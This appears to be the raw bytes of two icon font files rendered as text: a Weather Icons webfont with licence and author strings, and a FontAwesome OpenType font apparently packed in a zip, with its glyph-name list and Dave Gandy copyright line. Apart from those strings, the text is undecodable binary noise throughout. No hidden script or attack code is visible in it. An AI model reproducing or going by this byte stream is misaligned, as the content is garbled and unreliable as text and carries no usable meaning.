  =    =                         d    0    	  C  C  	  C    	    V    	  J 6  ! vI    V   	5  		    	     D  	                                n&J                              C    	  	    e 	 	u 	a 	k 	n 	x 	 	i 	U 		 	 	
 	
 F     \ n      S    ]                                                                 , , , , , , , , , , , , , , , , , , 4p	^
XLNh. n!#$%'()*p+~-F.@/1*246`79|:;$<T=2=?x@NABDFPGHJZKLFMMNO4OtOOP`QR4RbSTdTUUDUV0WjXYYFY[4[l[\\]]^^|^_p`4azbd eghhjjl<mtnpHqqrt^tu>uvwLw~xNy
y>z
{:{|}<܀ڂ|
*66Rڊ`@h΋@lČBlލ@dޏVڒ,LƘ~hvX64ڦاTΩFҫfxԭ.BfȰ0TvԳ.HX    X            o          	       	     	     	  >  	  *L  	  xv  	  (  	 	 J  	  \`  	    	  0  	    	    	  W e a t h e r   I c o n s   l i c e n s e d   u n d e r   S I L   O F L   1 . 1      C o d e   l i c e n s e d   u n d e r   M I T   L i c e n s e      D o c u m e n t a t i o n   l i c e n s e d   u n d e r   C C   B Y   3 . 0 W e a t h e r   I c o n s R e g u l a r 1 . 1 0 0 ; U K W N ; W e a t h e r I c o n s - R e g u l a r W e a t h e r   I c o n s   R e g u l a r V e r s i o n   1 . 1 0 0 ; P S   0 0 1 . 1 0 0 ; h o t c o n v   1 . 0 . 7 0 ; m a k e o t f . l i b 2 . 5 . 5 8 3 2 9 W e a t h e r I c o n s - R e g u l a r E r i k   F l o w e r s ,   L u k a s   B i s c h o f f   ( v 1   A r t ) h t t p : / / w w w . h e l l o e r i k . c o m ,   h t t p : / / w w w . a r t i l l . d e W e b f o n t   1 . 0 T u e   A u g   1 8   1 7 : 2 5 : 1 2   2 0 1 5 d e f a u l t p e r s e u s F o n t   S q u i r r e l          9                        	
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~glyph1glyph2uni00A0uni2000uni2001uni2002uni2003uni2004uni2005uni2006uni2007uni2008uni2009uni200Auni202Funi205Funi25FCuniF000uniF001uniF002uniF003uniF004uniF005uniF006uniF007uniF008uniF009uniF00AuniF00BuniF00CuniF00DuniF00EuniF010uniF011uniF012uniF013uniF014uniF015uniF016uniF017uniF018uniF019uniF01AuniF01BuniF01CuniF01DuniF01EuniF021uniF022uniF023uniF024uniF025uniF026uniF027uniF028uniF029uniF02AuniF02BuniF02CuniF02DuniF02EuniF02FuniF030uniF031uniF032uniF033uniF034uniF035uniF036uniF037uniF038uniF039uniF03AuniF03BuniF03CuniF03DuniF03EuniF040uniF041uniF042uniF043uniF044uniF045uniF046uniF047uniF048uniF049uniF04AuniF04BuniF04CuniF04DuniF04EuniF050uniF051uniF052uniF053uniF054uniF055uniF056uniF057uniF058uniF059uniF05AuniF05BuniF05CuniF05DuniF05EuniF060uniF061uniF062uniF063uniF064uniF065uniF066uniF067uniF068uniF069uniF06AuniF06BuniF06CuniF06DuniF06EuniF070uniF071uniF072uniF073uniF074uniF075uniF076uniF077uniF078uniF079uniF07AuniF07BuniF07CuniF07DuniF07EuniF080uniF081uniF082uniF083uniF084uniF085uniF086uniF087uniF088uniF089uniF08AuniF08BuniF08CuniF08DuniF08EuniF08FuniF090uniF091uniF092uniF093uniF094uniF095uniF096uniF097uniF098uniF099uniF09AuniF09BuniF09CuniF09DuniF09EuniF09FuniF0A0uniF0A1uniF0A2uniF0A3uniF0A4uniF0A5uniF0A6uniF0A7uniF0A8uniF0A9uniF0AAuniF0ABuniF0ACuniF0ADuniF0AEuniF0AFuniF0B0uniF0B1uniF0B2uniF0B3uniF0B4uniF0B5uniF0B6uniF0B7uniF0B8uniF0B9uniF0BAuniF0BBuniF0BCuniF0BDuniF0BEuniF0BFuniF0C0uniF0C1uniF0C2uniF0C3uniF0C4uniF0C5uniF0C6uniF0C7uniF0C8uniF0C9uniF0CAuniF0CBuniF0CCuniF0CDuniF0CEuniF0CFuniF0D0uniF0D1uniF0D2uniF0D3uniF0D4uniF0D5uniF0D6uniF0D7uniF0D8uniF0D9uniF0DAuniF0DBuniF0DCuniF0DDuniF0DEuniF0DFuniF0E0uniF0E1uniF0E2uniF0E3uniF0E4uniF0E5uniF0E6uniF0E7uniF0E8uniF0E9uniF0EAuniF0EB   KPXYF+X!YKRX!Y+\XY+   UӢ  PK     N\1    fonts/FontAwesome.otfnu [        OTTO 
    CFF 9s7    EPAR  ( l   0OS/22z^    `cmapǢT   head    6hhea
 P   $hmtxJ+ t  
maxpP  
`   name>$# 
h  post    x      FontAwesome C 	 U6 U622        " , 0 4 < > E G M T \ _ e h m q y }                  #)4>HT_lp{
'4=GRYfoy&,39COVcoz"/5;FPUZes}&+16<EOW_hmqv|)04=DPX\aju(,26GYhy%16;>EMUckox				$	5	G	V	g	l	p	v													




&
*
-
0
3
6
9
<
?
B
F
O
_
c
u












 &5BQafmty !%)-159=AHLPTX\`dhlptx|%,37;?CGKOVZ^bfjnrvz~	!%)-159=AEJNRVZ^bfjnrvz~
"&*.26:>BFJNRVZ^bfjnrvz~
"&*.29@GNU\cjqx '.5<CJQX_fmt{  '.5<kvglassmusicsearchenvelopeheartstarstar_emptyuserfilmth_largethth_listokremovezoom_inzoom_outoffsignalcogtrashhomefile_alttimeroaddownload_altdownloaduploadinboxplay_circlerepeatrefreshlist_altlockflagheadphonesvolume_offvolume_downvolume_upqrcodebarcodetagtagsbookbookmarkprintcamerafontbolditalictext_heighttext_widthalign_leftalign_centeralign_rightalign_justifylistindent_leftindent_rightfacetime_videopicturepencilmap_markeradjusttinteditsharecheckmovestep_backwardfast_backwardbackwardplaypausestopforwardfast_forwardstep_forwardejectchevron_leftchevron_rightplus_signminus_signremove_signok_signquestion_signinfo_signscreenshotremove_circleok_circleban_circlearrow_leftarrow_rightarrow_uparrow_downshare_altresize_fullresize_smallexclamation_signgiftleaffireeye_openeye_closewarning_signplanecalendarrandomcommentmagnetchevron_upchevron_downretweetshopping_cartfolder_closefolder_openresize_verticalresize_horizontalbar_charttwitter_signfacebook_signcamera_retrokeycogscommentsthumbs_up_altthumbs_down_altstar_halfheart_emptysignoutlinkedin_signpushpinexternal_linksignintrophygithub_signupload_altlemonphonecheck_emptybookmark_emptyphone_signtwitterfacebookgithubunlockcredit_cardrsshddbullhornbellcertificatehand_righthand_lefthand_uphand_downcircle_arrow_leftcircle_arrow_rightcircle_arrow_upcircle_arrow_downglobewrenchtasksfilterbriefcasefullscreennotequalinfinitylessequalgrouplinkcloudbeakercutcopypaper_clipsavesign_blankreorderulolstrikethroughunderlinetablemagictruckpinterestpinterest_signgoogle_plus_signgoogle_plusmoneycaret_downcaret_upcaret_leftcaret_rightcolumnssortsort_downsort_upenvelope_altlinkedinundolegaldashboardcomment_altcomments_altboltsitemapumbrellapastelight_bulbexchangecloud_downloadcloud_uploaduser_mdstethoscopesuitcasebell_altcoffeefoodfile_text_altbuildinghospitalambulancemedkitfighter_jetbeerh_signf0fedouble_angle_leftdouble_angle_rightdouble_angle_updouble_angle_downangle_leftangle_rightangle_upangle_downdesktoplaptoptabletmobile_phonecircle_blankquote_leftquote_rightspinnercirclereplygithub_altfolder_close_altfolder_open_altexpand_altcollapse_altsmilefrownmehgamepadkeyboardflag_altflag_checkeredterminalcodereply_allstar_half_emptylocation_arrowcropcode_forkunlink_279exclamationsuperscriptsubscript_283puzzle_piecemicrophonemicrophone_offshieldcalendar_emptyfire_extinguisherrocketmaxcdnchevron_sign_leftchevron_sign_rightchevron_sign_upchevron_sign_downhtml5css3anchorunlock_altbullseyeellipsis_horizontalellipsis_vertical_303play_signticketminus_sign_altcheck_minuslevel_uplevel_downcheck_signedit_sign_312share_signcompasscollapsecollapse_top_317eurgbpusdinrjpyrubkrwbtcfilefile_textsort_by_alphabet_329sort_by_attributessort_by_attributes_altsort_by_ordersort_by_order_alt_334_335youtube_signyoutubexingxing_signyoutube_playdropboxstackexchangeinstagramflickradnf171bitbucket_signtumblrtumblr_signlong_arrow_downlong_arrow_uplong_arrow_leftlong_arrow_rightapplewindowsandroidlinuxdribbleskypefoursquaretrellofemalemalegittipsun_366archivebugvkweiborenren_372stack_exchange_374arrow_circle_alt_left_376dot_circle_alt_378vimeo_square_380plus_square_o_382_383_384_385_386_387_388_389uniF1A0f1a1_392_393f1a4_395_396_397_398_399_400f1ab_402_403_404uniF1B1_406_407_408_409_410_411_412_413_414_415_416_417_418_419uniF1C0uniF1C1_422_423_424_425_426_427_428_429_430_431_432_433_434uniF1D0uniF1D1uniF1D2_438_439uniF1D5uniF1D6uniF1D7_443_444_445_446_447_448_449uniF1E0_451_452_453_454_455_456_457_458_459_460_461_462_463_464uniF1F0_466_467f1f3_469_470_471_472_473_474_475_476f1fc_478_479_480_481_482_483_484_485_486_487_488_489_490_491_492_493_494f210_496f212_498_499_500_501_502_503_504_505_506_507_508_509venus_511_512_513_514_515_516_517_518_519_520_521_522_523_524_525_526_527_528_529_530_531_532_533_534_535_536_537_538_539_540_541_542_543_544_545_546_547_548_549_550_551_552_553_554_555_556_557_558_559_560_561_562_563_564_565_566_567_568_569f260f261_572f263_574_575_576_577_578_579_580_581_582_583_584_585_586_587_588_589_590_591_592_593_594_595_596_597_598f27euniF280uniF281_602_603_604uniF285uniF286_607_608_609_610_611_612_613_614_615_616_617_618_619_620_621_622_623_624_625_626_627_628_629uniF2A0uniF2A1uniF2A2uniF2A3uniF2A4uniF2A5uniF2A6uniF2A7uniF2A8uniF2A9uniF2AAuniF2ABuniF2ACuniF2ADuniF2AEuniF2B0uniF2B1uniF2B2uniF2B3uniF2B4uniF2B5uniF2B6uniF2B7uniF2B8uniF2B9uniF2BAuniF2BBuniF2BCuniF2BDuniF2BEuniF2C0uniF2C1uniF2C2uniF2C3uniF2C4uniF2C5uniF2C6uniF2C7uniF2C8uniF2C9uniF2CAuniF2CBuniF2CCuniF2CDuniF2CEuniF2D0uniF2D1uniF2D2uniF2D3uniF2D4uniF2D5uniF2D6uniF2D7uniF2D8uniF2D9uniF2DAuniF2DBuniF2DCuniF2DDuniF2DEuniF2E0uniF2E1uniF2E2uniF2E3uniF2E4uniF2E5uniF2E6uniF2E7_698uniF2E9uniF2EAuniF2EBuniF2ECuniF2EDuniF2EECopyright Dave Gandy 2016. All rights reserved.FontAwesome   [ _       "+/37;TX_dhn#'Prz.26:@DHM%*.48@ENUZ^} /3PW^cgl8<FJCUajov{			@	J	Z											


&
*
.
:
A
T
m
r
}








;BFLTX_cinsz .38@FKPp|&Edmz%1=BGNU[e
#)-7=CJO]kr):PUblqv| ",5:BJOTgz$6HZ]hs{
 &,6@JTX`hnt|)8@OSX\bhp~"/4;?FLSW\hmt',2=HS^elw*
A
T&fAV
TlfPzz
 P
4!
t

q
q
bt&
y}}y33%33
`zT~~4]
Tg@Z
4

R
,T[@
<<4
,
^2
%%%%%%3
T<
nh@;TN
TITN
C
KFKk6
?J

:
K,:
y}Tj
5
/W
K$'T$V
L
v


L
6
f
y}}yy}}ylz||z%
1

KTTY=|zKz||zKz|N

!5
!

ff(
G

Q
3|T|T|T
T
T|zs
R3&'
'
<
@A
G
^
[=
T /
3
c-`V}hn"Bv
g
OG
`E}n\>lg
,hh@@h EQP
|z@z||zTz||zz||zTz|7
F
x
3CDRRDDuy
;
;
5!Jb 
h

5
/
TT +
-tzuxu[Brlmyz~ 5qsUhnnhhnnh
tttT
 y}}yKy}?
j3CC

5;(=ZXWG/9;/_Mknmn9:YIƑP`q~d_ircrriiiy
@H-R
'
 
T 1<t0
lnl||}_zob^^bzM<M<v	o_}||r

/0
]}
]

EQy
v(
W
T/T

jih{t*
<<<
<+B
AS i^wvhvi^S AE]#'
K(
D
Fm3'!%Ơ#xM'nqwdo^]
t
x
1!!EQQE5i'Ty}
tV`

K
T


t
kb
K<z
X
@3CC3@#P
nhQ
h/:nh

:

;xtulTK
1
0
8i8_dd_~~xzƅy"9O9%9)o'0qi?@hh?@irC
TFKkTr
P
;;YS<!yots{tqT/Tg5[
F

s
*
41
ZZrwh)S

-
vvzz:
tttttt
1
7
Ԏ8
Jn+tmy;
[8

hn>~w~~w~K
=+tX
@]
@gZ
tV``V;
;`L< xra
YW
@3&
~~w~@5!}yvKyx}zyn
T7rrcr~g
hnnh
YYG
P
~********=
4
4)
.@([
h
P
vT~z$j
+[
<<5!I
4*
A
C
7
r
C
7
@r
b
!6gTE 
ˋ h3/{V=n\n]9
vx{zz{X
CZ7)D
T}yT8TC
T7
Tr
]][
1


7Uf@m
 
<
ZZZZ{B
rrz{
+
T
<Z:wBD$$D(=`hZTA

/0
nh&&&&&&{Vv7+42yqpV``VV`J
Y
MY
}
>
|znhyyrrrrypttp&pt15
tv'
K(

;;g

$4y~MQsQDntyyt
Fte11eBBT2

rI
F
y'&K
w__c4444p]R
GTTX
x]]
 83
wrrhh@;fveK\xcikvss]tRat7+447&&
7
V(-
hnD$$D
,
}tP
`=db97Bxt3
?Lg__gg__ga
`VC3~w]}
y6%6-	_$cX~
TRV22VV22VP@zyzz 
s/Avzz{b
z-

ft &
3

]]EGxZnyt P
P
++P,ʲ,

_hmx2


ˋ


d44
T[`M`My}}yT,V;;0
&&T
3

t'.
%@p
)qt{tsoys%$333vK
44\~v
}jiiC@@x~C
Kw5 !4wkz||,$P++-



gs}}yf
#ET@)Wbit
S
4Xwmxyjh  ofZedZdW
fr
rsyy'& h@v       }                5  9               2 I   8    8   !       ~ 	 	 	I 	 
M 
 
 ? y    *  B P  | 8 8 ;  l   ] 5    m     + \   <     b -  G _ y     ' > U    > c   R   !0 ! ", "^ " #0 # $ $q $ $ % %~ &5 & 'A ' ) ) *J + + , ,m , , - . .1 . . . /P / 0 0 19 2 2 4 5q 5 5 6< 6 71 7x 7 8h 9 :S ;x < <T < = = = ? ? @! @ Aj A B C D E F G HJ H I IT N N N O" Ox P P P P P R- Rv R T UG V V V V W X1 YX Z [+ [ \C ] ] ] ^ _+ _9 _G _o _ _ _ _ _ ` a aG b6 b b cP c d' d eN fG f f g> g h h i- i i j  j kw l% l m7 m m m n$ n; nO nc n n n n o" o o p p& p> pX q q
 q} rI r s8 s: s< s s s t u v< wI wh w xG x y  y z& {6 {u { | | | } ~ ~ ~ ~  C    M   9  C |   2  8 V   P  	 c   S    O   I    # |   L     `    m 
   P o    1   * x     4 f .  H   U \  1      ' C w   [  W     (    b    ;    J {  .  ŝ Q ƭ f Ǯ *   ʛ ˗ ̉ ͌   | ` ϫ Z ҝ (  J տ   ׻   p 9   D  9        g    t  g  ,     q  ?   o ]  1 a J C0g	$

NF.yq4+M< !>!";"h"##$b%g&D&''''''(()*"*++,?,p,-F-U4>45~566636>67	8"99:-;F;<9<='=\==>?Y@RABDEAFGH(HIImKGLLM^NZOPxQ@RS%SlSVWX:XRXXYY]YZZ[+[n[\d\]g^Y^_2_`5`aacBdd;dWdvde!ffgoghNhikj@jklmnopqhrtukvYwfxzV{r|}/~~Uu[tJ~3J#c$;Tt TT4P
4  c
z..ȮhKh<Nh-

-N<vhNKhN<h..Nhv<NNvȮ-
-hڠvNv44T
44V``VT<
44TA
44M
0Tyuuyyuuyy?j`,4G yu~8գYSKkj>h3c#^uiƭR@2A
4
FMffMZnnw
v
x
P
 `Vc~ofa[!
Y!
 

T@
b@
suw#$L>$#69JX"!!`V+/EE+V1RF
_r
Z o
p]tksu[ztvUZ
tq9[[9:QQ:Mqksu[ztvUZ
ZJ
J&		&a
)|
s
Kw 
 t  
w4X
]
g@
 v


YT3
Y`VV``VTV`Գ

T3
YT3
TV``VT;
 YTV``VT;
T\TV``VT;
^y
$%
IVhhvjyy

IIVV V
V
ttC
KFttFKktt
r
tt>
@

 V

FKkr
@


pP
tW&S:aR`S:a))6z
6)õ`a;R`W&tPQEEQQEEQY
8
&8
&T8
T&8
@
e
{
zK}zaEV" nmloL{yry}{{OJNll~n|i&js^^[{m~mkNo|y|rz{Kpijki\f_i]QM[!|Lz~rǑ̒Ȫ 'fgiMm([popHH4
wOVVOcZwE;L1Hu
 v
tnnt/
s~oJ,zW`aGahc~v~AHH

w
!4t4tt4tt
to
T
4#
)vTV{||||Ng|5ppTy~}y:y~Tppur5|gccn_Tz}y}}zT 
T
dgf[wXX[fe6
tqTKTTT
TTx44t8
zT~~f9x44t8(&
T
T9vT
,T,ThXhYm}}chhcqj}}iVgv
wxrwwvtL#
P

!SY
ylD&)'C3$
Y4K
Ti
t}yT|}zcesd,.9/F-
1T5
T
"Q>W
"SX5z|[,9FZ3
Ti
9
"!
!

T@

G
vTi
TT
T+3
kT^^^^Tkcv
]btkr
Kg
_=1lno1"-SKq~n}s{x}zsz.;3n L vTTVT/WW/!(ZMj:kD
L
k+8V=_GxɁHKxMG_8+MrrN-hnog??go Gw_
rN-hnog??go_QPox}yCQ(Csyrp}t{xo^PQ_Kn{}|zx8S``*S8qxozo||{}s}|{n.K



x





 0m 8
vvʪʪꪫʪ骫kihvvvijiʌ
1

w
ʓ
ʓ
  1Y1Q
kll ʙ
F? ijivvviijz
)z
_^X*DtcX_^sjii}jttjjhsW
 m
g|vtywxog`vf/TFw.qra\zzzaM{tswxyzzVc,sj|wut{tv\h2p]yx}xzuxWi:mY{pvzs~{sww}e_^#:/r8" 

4<
4K4"Kme,,eBV4
K"44"4kt4:4t>
)T33333333T4tXr=EE=UIrXt
tK

T/
 ,Qiep%/,xxx(((#Ɏ	wR'VbgfVpoqqq{\/j}}Yh^?DFG@EatV@ha %-n<5scsŔO5*VJM(0x[[_}~􊢋%;AHW{'QbgfgFIGf=R!G v^]^z8'n\PuH#hPMqJK{-!ߜv`ЊxġMMN[ĐơϦԖУ!!!x$ǁΓm`r;ni~GhftnOlFKwz6-;p6p_ph6hpo;_}oh6h6}_
Ǐ\|}Cy	^^^LuZ
qmeptcCDCm
ǐ]|zb||}3mrS
667W,"m~yv}u] y]hvp|zwwzv{y{ |phm
R <0
R <P
0
R<
i
m
R<0
R<i
m
1 <0
1 <P
0
1<
i
m
H
H
H
t## @w
t\
 
>
tTdw
TiFy
tdv0{tz{~'&9*
TT33T&:''~
)TTTn4444Tt|z@
4kX
S
@g@
m 
D~~UT44~sjiij}st:944::W



{


NLT_p xJ
 
vPPϠHGwwsrP
mXXj:bkkcv`~:jX;`Y;l-&PyyQ
4S+,,||~KKXfccQ+4444400f,,fMff// 
gt}{|y~wjX|zh
"Q2{zt{tqT4 7\3ulz* p4Tqt
 
Jw
tKK3CC

G
fccQ{kkYkkkYkkkkYkBBk
C




-
4=
1


gsvZvZ SZvZZZZrZhlvlr|hh|e
P
@g

@g

i
e
P
@ 
ZwZZ2ZZrwhZ
P

Zw
Z

@w}rrwrZZ

%L.2::zzzzr::2%L'2zz::::
zz
ph
H 
Z
hn
 
e
}2zz11zIIII{zzz1IIII
IIII1zzz{IIII{zv 
P
zz{zM
vv,+M
1zz6T
4y}}yTy}T
T4,#Q?`\pnZtҫȧPKgjzx}wy\O~#7@TKT 
ttt4
4:
T
+y}4j
4y}}yTy}4
44 

`$$`$`$
$$$`$<Tg
#Zk==k##kZ==Zk#<#k==kZ##k==k#i
]&&

&&&&&&kK#
g2%''%%
::!8#
t
 %56&{SjjQh[=<<=>
>KwP
^CT}s@skiij}sstv
jt 
}sTӸKw~ssjiik}ss@@stjtTC^OGGOTsv
js@tE @wKsjiij~stsv
ks@sTC^ǸTs @KT@sjiij}ttT

Ttjiij}tsA@sv
jt t W
@j{t,Qa! KtkvqCt

e
t
ԛ
4
*
<<<
<+!y}|z
|RT|y.}|yMx|zp
4HhnzhThnhTThS\V`fy~5V``VV5`VRL'HMoZd99dMH''e
L(
$4A
4u
v߈
/J7I[^_[Z_~}yhn{x(HZf7p\XTHaG-whhiwVQZ:#vz]l`L{l{,+\^˒1
t4C
FKk@r
CN.ETiCkhT$T$?LL?'0cGv=<
vc0;'dquuq--]
LaaLvtrrtvLa`Lv$T$]D'#5'0cGv=<#7quuq-.]
Sv-yU*PNO_Z~wrsrswH7*V3ziU{QgegSA:NT~=L=&0ErAuX5y}|y
}R|yR
~|yMx|z]pkou`\\`qbuud[ddsP
uz``K4K++44-3V 
+*QQ듔VV땓4L554K 
4
˫44˫

44Tt
Tt
Tt44K

Gt4
tK

Gq
q
bt."&Ft8t++KQc-b.T5MKTz|sRrQnS SL0t8tĤŨ Ty}v0%%_Ib	\;COLD|yz|rs{A0%e
P
T%Ki``iK%,QQ,g

/g

/
arzyzyrrbr:9r
:9k
lr:9:9rrbrzy
zy)
4TT@yxxy}||g
T44rdTr
4g
T44fTF4TTB
||} 

 pQEEQQEEQQEEQQEEQg
OH
`E{l^@lg
,h v
4
4
&Q)WWXg3
UGQ {y|ss^
 

 /
T


14=
1i
 



m}
t  2o`gfbnh./>p+>|Ri/8Crb{Zja_qV Om|
PC44T%V``V
L
teP

T

 h P

TTTT
noqqon
Tft//tq:v++n+*mm*+n33Väyppv-)mvv

>{
ERQDEQc
ERQDEQQE9},~
 q
2srqt-}}N}}~ZTYprr~npwefc~rrq/s~|~M}~,soppndmfnen
 s
-}N1kmo/
`

>a
B`

aNty6$7mF
dI.3WW-
hn
fo1\s\ko{yxx<^
U/SkW?Ÿj-@	
+6	OGo
	Dɝ·lZ'#ik}ts')2OKebh`i_mdG1dqhWm]a"WY
VF eG.3O׈-
7hn
GNOH	6
	t@K̬-*osr^?<kO篞
OY	OxxytR]׈ssvkc\k}\vsO1fOzkO~rvdO J.eY$n:moOhq1d_`cJl2)t}ǏymD׈
	83v b@KM>M>KR4)<5Mnɿ<5)4RP
p]o udr
T~ϧ\
ԕT33~ϧ4
J{{{J{J IYU:=YϿڼWG j8Ke`bz|vw{	̋{&,(i"z 
4t4
T,
L
T480QEEQQEEQ08.(y{wAi


t
XTiTQg
B
4DD  G
U  DD
t
*
^GofTp
^Go
& 
8^!Y1/)Yb1+3
X
]
+V``VRzf|Xm}[YKKkK+++K+>7+++k˙̚zfR[
/`obt@v'T_GqzyYwjo`)Ib`__`b)`~oDW~jgw^SX_~|~~tjn~@t^oYYk|P/"`c}{q_'TvQ
yyt  

?ApDU88Dp?6
\xTTz{{z~TTK
TT
1 !8 2 ZZ.n82Y\uZQ m{r^-Ʒ֫Ϧ [@{wx^^]Up[c\ˀt bdee	@$fb% <l6fGWG4 9<:]ua\Q ,2n{
tZwRQSqklN2IUphsJ&J}rIm{jlkāuvgE{|jZvkSr^kPxOH.76NPT>aa>"ipuleǞëѯ

X4*
(3&

&;*226;*qXsIm[FHNMo;otpлͩ&oxtt_Jdwry0Ayu{&Ay  v(TQrLyJγʣMfEpB}P7.G$%Frrs3Xo[{TO(QVY`1(mpnnvww."4X+prq/#>VK?ʹķSp. v/nQ11'A<*
<<xp%j]^hYE֊ׅB
?Gߩϼqٵ˟'(͔͂z'w!q=wUG7HJ?xs]C$8rwsp+qi^arʆŕ vTTTT$T4\+T
/i
)*
l
@Z
@Gtt
 
 V
Tnzi.],++,]i{{}zyjpnjry''{{~{y#joicciq#4
444@

G2t1v~z1vF4YtHAAHZEtYrtpg
2

4Ttt]
TgEuFF6!1=۴n_F(
RD\\D
VT$4[

.G^SSG^J(@twT3fV``V}~d3fTw@t(EQT!
Te
`wrPNxyprNV[Pwrqqyxyprrwwr[PNrpyxxyprNP[rwwrrpyxyprrwP[VNrpyxNPrw}PNVVNPx,4.oU
wtFPPFs\k{oyxx>\V?Ckwk++JLOG
	
=3`?.Qm\ibgbjnG5[hofuelY= 	 ,.Gc4n8`XC>[B
natĹo8ixFPv8+֫ঽtttuV]]B1
o8[GngimQ`?34=_`b

	 	 =acfn}|}KKYXS#Ln8

4.B
`KPV?Ck1B]]Vvuut+`PF`xiPta?MQYKK}|}Pfca= 	 	

b`_=43?`Qmig`nG[

ʰ
.Gc4B
tZB
xxyatRt]ssvikcx\j_qFPPFGOLJ++kϰkpC>[Hkfuf
h[5Gjnbgbi\m.Q?`3<
	
 	 p=ϰˠSLH
QQ{zH
00
0,
{zz{QQ
 

X00{zXz{0QQQQN0{z 
00{QQpQQ
,
{zP00
M
QQqQQ,
{z%Q4.&E݂v'*
<<<
<+'~'|iyzr|x|~t}uz~}tyzrjhv~|'{|~oz|'r}spwhjhy~|}}|x}owuxzp}o~vqyv}}{oy~tcuyuu~xr}|~gwɛ|cx||v'݀t|$|~d+|~vrys~݇uw}{~|G|}}xzutl݇|~|rk|'|}y~z{|}{x|sv~vzyzzy'7}r~ww/*Gs kin
8"W==sv
jt 
>>Gww|&xjUt=N,B[
Q?F

t{tq z4~
zv
x

44B

44t
tX
S
{e
w$$
Tx
Tqt{stoy$$$$tqT5
Tp
$$
yots{tqT/T
$$K
T0
T
$$)
Wn|`_]#v:[vVi\\iVv6*446eTa
u܎v#6]_`uuu0n1W@^;e UU`4U5TTTT`4S2SB  zyrrrrybcyjdM
 djyddysqSUmtvwjoXV``VXojvwtnrryB ddkybcyrrUnTddUA?<AkST3«nUbc,UB>?BnUU'&UVlA?>CTddUmի3STk@< ?BUbcTm,Ԩ'&)J,>
KQtd_O>Kj
}|},D!/G
 
#
#@*!
!@i##flA\4v4443T3o@TMK"~xF͇F6)-1?pWSRWn?=%(EUmþB B_XS-(mU6EF(%=?VXpO 򎬇F˞y\&sqb] NEN ewd G&NS6}dNDwO]bqNñ џsSe& GF\}w~vt:4+q4CKtېE,
 aV4dYztdP\4VAlff,,fflAV4<
:\i?fflAV4M
4440M
4|+fLdUS55TTd..Ġ
..||eWT6LL6UVe[o!"m\à
B)%h;=h&)CMe00
4\
44<
A
4{}~bx4T

TGkmeeBV4V``VTe
P
 
&
P
T
wVn5!Jt4C

7
F
nt4C

7
F
T

7
F
')h	$J7_H,  `djXg]SˈScfzhebpR3 ^v" Om(;.?GdFjPyi7voMyyy4
 (!?::: @(t
T
@
Tz|>
$@1
i{pkgGR[".__ušȟmNgG&߅ȂAP_ATeAa6226^%OLJnpsosxZWS]{`lcmcbnXzyY\a\^cbhnnpszf%_whY+W~ cv͉ΒИ15hv9U!݉}t{D$<T;JYYbll|ԡǩ+}yLJGa75t|m`PvG#?}Zhzdqcwuvltlsj{hxPKGQPObktl{·}yُˌ|na`ZUTSR{S-deh}~~3U:
@4
u
R
 `

4y}}yy}T}yT

5X
]
g@
 &eeO  .ZZ{zz{{zz{ZZ
R%
OXOXXOXOXXXr6%
v2%
	
>

WW2
g
5
T4g[wrrZZTT<DAٕ!
!
ف1;))PP
+<<Q̙rԋѭVLE^"t*9xI&Oq=b}%BVH\fzw}i~w{z Y
nL Uiw<u8=q^Ei{PjPn]vӀ)9
((NKsӋЬWMF_#t+:xI$Mo;`z$?TH]f{x}i~x{z!YlJSfu:s9>p_Civ9U:j\iCeM#&nYA   ,Ómxwr .ffFfH4 ze`c`c#NW[S9Z))));7eefeefeefee)4

{r|sv>(T+J~ff~JJ~ff~JK

g
 5
/{i
WԂ
W~

TT{z4TT
TT
TT
 m
F84

X
l
@
@wWT
~
KWT
@wW~
t0mjingr;<7
M7#?#77<:fim
B4@ V7)0[/ 1 /^//1 0 6;$p#sEAA*,?m6"mpF=(G`$.ƣ0п
D&l&yPsjiel{ppmoy,,yrrUg[giyxtq]um~~~~mu]qtyxgi[gUrry,,Vompp{leijt t W
m
b
GTTG@u^9v:p%"M$%MڑhiGGTTGT&&@;$yz%:@b
%%
v
TDddDWXYV_lw}v~v*AdDyo6$7	^~ )?cwrvy~x]͈}|*YvvT
p{3
+T
TA
\
<
T
T+
\+TT+
\+TT+
 m 4
XvvuuvvHNNHHN)
				1j
j/
eU>
k)$1



4<
4T

TGK4ime,,~\-4:4 #x:4tT.F
pF
F
4KqHaZxuuvwtD6O'xODwuxaq\_II_\DD$2??  nzykjstz{ztsjmy}z{JlQeűťž̛{yn׭
0|zT|T`>
t7
`Tz|)ttF
TGtt
)4z}|ytT
ty}
b
tT4TN[cG=B^60AQEEQQEAKuI7#e  #7upjj_pB:
ܾئ_Wc[|a
m
w 7Ep{
m;4U3ua[
RҢ&{
&
RD[apdu -
U;4mph]@@h֦
t
tK} 
K Q$4[

(@twT3fV``V}~d3fTw@t(EQT!
T)TTT
K5!
Khh5
t
TQ

_
4nhhnnh4nhhnnh:Bp
צg
U
ktEQ9
w
!44>TiT(
ttT1
TiT1
Ti99
t"!
N
T|zKz||zKz|IT|zKz||zKz||zKz||zKz|6F
^P

 @g
 5
/i

 Ut"!
6D>
^
k<
TA
K
+K

G+

TGEg
p\T
 /i
)>
GWW2G4
ttT15
4hZwrrZZrrwZh4
!""

"
Ti

4
44
ttTtk}44 
k Q)TkktK
+4Kk44Tt+kkTkTsTskkTkTt44Kk4
Ftˋ v
|g>DRTT˫kTTktkKh@@hTTTppqq4 
ph

 zZ4

k


k
zZ

!ZtLLAZ4K
K
ztk


z
YY
Y
LK
)d
{
|zX
]
g4KGfg
0
K
)+TKx

^4Z
T]
TgkF
GTԀ
`t4+V`@Ӷ+r
S

>
n
4Ԁ
T
q]
g
4d_gg_
d4
T
GTT[
r

EQ9 v

ԫ 
TTYwNTt "RDEQRDEQbBTTBQEhEQXxC3p
3CB c
BT
 
b&'&e
pe
P
 
@*j{4a,t
{z4
tC8qbbb{y{x{K  t4
4t__4\<-7ʗ7-tD&c+zi0&H.0,-##s&&2iGz@@RQT+c&&t
 x
P
tV``V
V`T^
T
TT
4
&Q)F|~aiEjVulѬo70 XDQ^

47mGGT4}

&
Tnaxjigxi j(C(jgjixhi5' ==' 5G8
mTi
n5Y' ==' 5YihC ix8

Tg

0
T8
)TK4TTT:
TTx
TT4
[TTTTKGxP

x

yy
p<
ZQ
)
I
t+t
I
4!  +
I
r@ I
0 I
I
p% I
0 0
+t
$
h
q^jMPdioo '.<WN2XVu
^v
~\buD


^zxvuz~L^?
ޠ0$]UM'T6"W
NQ(YcjMPimpP~~~+r+UQtb3L?0X3>X
Qv
\buD
J

